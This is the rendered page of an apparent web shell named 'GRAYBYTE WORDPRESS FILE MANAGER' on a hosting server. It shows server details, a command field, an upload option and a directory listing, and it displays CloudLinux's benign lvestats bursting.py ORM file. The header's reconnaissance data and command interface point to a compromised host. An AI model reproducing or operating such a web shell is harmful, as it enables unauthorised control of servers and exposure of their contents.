GRAYBYTE WORDPRESS FILE MANAGER7165

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/orm/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/orm//bursting.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2023 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

# pylint: disable=abstract-method

import enum
from enum import IntEnum

import sqlalchemy as sa

from lvestats.orm.base import Base
from lvestats.orm.const import LVE_STATS_2_TABLENAME_PREFIX, SERVER_ID_LENGTH


class _EnumAsInteger(sa.types.TypeDecorator):
    # NOTE(vlebedev): Taken as-is from https://stackoverflow.com/a/38786737/3344105
    """Column type for storing Python enums in a database INTEGER column.

    This will behave erratically if a database value does not correspond to
    a known enum value.
    """

    impl = sa.types.SmallInteger  # underlying database type

    def __init__(self, enum_type):
        super().__init__()
        self.enum_type = enum_type

    def process_bind_param(self, value, dialect):
        if isinstance(value, self.enum_type):
            return value.value
        raise ValueError(
            f'expected {self.enum_type.__name__} value, got {value.__class__.__name__}'
        )

    def process_result_value(self, value, dialect):
        return self.enum_type(value)

    def copy(self, **kwargs):
        return _EnumAsInteger(self.enum_type)


@enum.unique
class BurstingEventType(IntEnum):
    STOPPED = 0
    STARTED = 1


bursting_events_table = sa.Table(
    LVE_STATS_2_TABLENAME_PREFIX + 'bursting_events',
    Base.metadata,
    # 'server_id' is essential for proper functionality
    # when used with a central database for multiple servers
    sa.Column('server_id', sa.String(SERVER_ID_LENGTH), primary_key=True),
    sa.Column('lve_id', sa.BigInteger, primary_key=True),
    sa.Column(
        'timestamp',
        sa.Integer,
        primary_key=True,
        index=True,
        comment='UNIX timestamp of the event (seconds precision)'
    ),
    sa.Column('event_type', _EnumAsInteger(BurstingEventType), nullable=False),
)

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 20 2025 08:30:33
root / root
0755
__pycache__
--
June 20 2025 08:30:33
root / root
0755
__init__.py
0.954 KB
May 30 2025 10:30:46
root / root
0644
base.py
0.439 KB
May 30 2025 10:30:46
root / root
0644
bursting.py
1.953 KB
May 30 2025 10:30:46
root / root
0644
const.py
0.259 KB
May 30 2025 10:30:46
root / root
0644
history.py
3.121 KB
May 30 2025 10:30:46
root / root
0644
history_gov.py
1.237 KB
May 30 2025 10:30:46
root / root
0644
incident.py
0.981 KB
May 30 2025 10:30:46
root / root
0644
servers.py
0.58 KB
May 30 2025 10:30:46
root / root
0644
user.py
0.79 KB
May 30 2025 10:30:46
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF